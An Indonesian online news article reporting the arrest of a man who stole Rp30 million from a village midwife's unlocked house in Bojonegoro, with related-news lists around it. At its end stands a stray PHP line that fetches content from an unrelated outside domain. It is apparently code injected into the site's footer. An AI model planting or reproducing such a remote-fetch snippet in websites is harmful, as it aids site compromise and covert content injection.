Polsek Balen Polres Bojonegoro, Amankan Pelaku Pencurian Rp30 Juta Milik Bidan Desa

Rabu, 24 Agustus 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bojonegoro l Jejakkasus.info – Pelaku pencurian uang milik Bidan Desa Kemamang, Kecamatan Balen yang terjadi pada 30 Desember 2021 lalu telah di tangkap polisi. Ternyata pelakunya seorang Duda.

Duda pelaku pencurian tersebut berinisial NR alias Gogon (40) warga asal Dusun Semanding, Desa Sandingrowo, Kecamatan Soko, Kabupaten Tuban, Jawa Timur.

Satreskrim Polres Bojonegoro Berhasil Amankan Pelaku Perusakan Warung Kopi Di KalitiduMalam Minggu Syahdu Bernostalgia Di Bale ParawangsaBupati Anna Mu’awanah Lantik 43 Pejabat Pemkab Bojonegoro

Baca Juga:  Terungkap Motif Pembunuhan Menimpa Juhli Yudha Saputra

“Setelah di lakukan penyelidikan akhirnya pada tanggal 04 Agustus 2022, unit reskrim

polsek Balen berhasil mengamankan pelaku,” Kata Kapolres Bojonegoro saat Konferensi pers ungkap kasus di Mapolres. Rabu (24/8/2022).

Kapolres mengungkapkan, Modus pelaku yakni waktu itu, sekitar pukul 12:30 wib, pelaku masuk ke rumah korban yang berada di desa Kemamang, Kecamatan Balen yang saat itu kondisi kosong karena di tinggal melaksanakan gelaran vaksinasi di Puskesmas Balen.

Baca Juga:  Konferensi Pers Satresnarkoba Polres Bangka Barat ungkap Kasus Tindak Pidana Narkotika

Selanjutnya, pelaku membuka pintu pagar depan rumah korban yang tidak terkunci dan setelah berhasil masuk, lalu pelaku ke belakang rumah, lalu masuk melalui pintu belakang yang juga tidak terkunci.

Kemudian, setelah masuk ke dalam rumah korban, pelaku mengambil uang milik korban sejumlah Rp. 30 juta, yang disimpan di dalam dompet yang berada di dalam laci meja tolet / meja rias.

Baca Juga:  Kunjungi Warga di Ngasem, Kapolres AKBP Muhammad Berikan Bantuan Sosial

Setelah berhasil mencuri uang tunai itu, maka tersangka keluar rumah melalui melalui jalan yang sama selanjutnya melarikan diri dengan mengendarai sepda motor Kawasaki ZX 130 warna hijau ke arah utara.

“Selain menangkap pelaku, Petugas juga mengamankan sejumlah barang bukti, dan atas perbuatannya tersangka di sangkakan pasal 362 KUHP dengan ancaman maksimal 5 tahun penjara.” (Herry)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>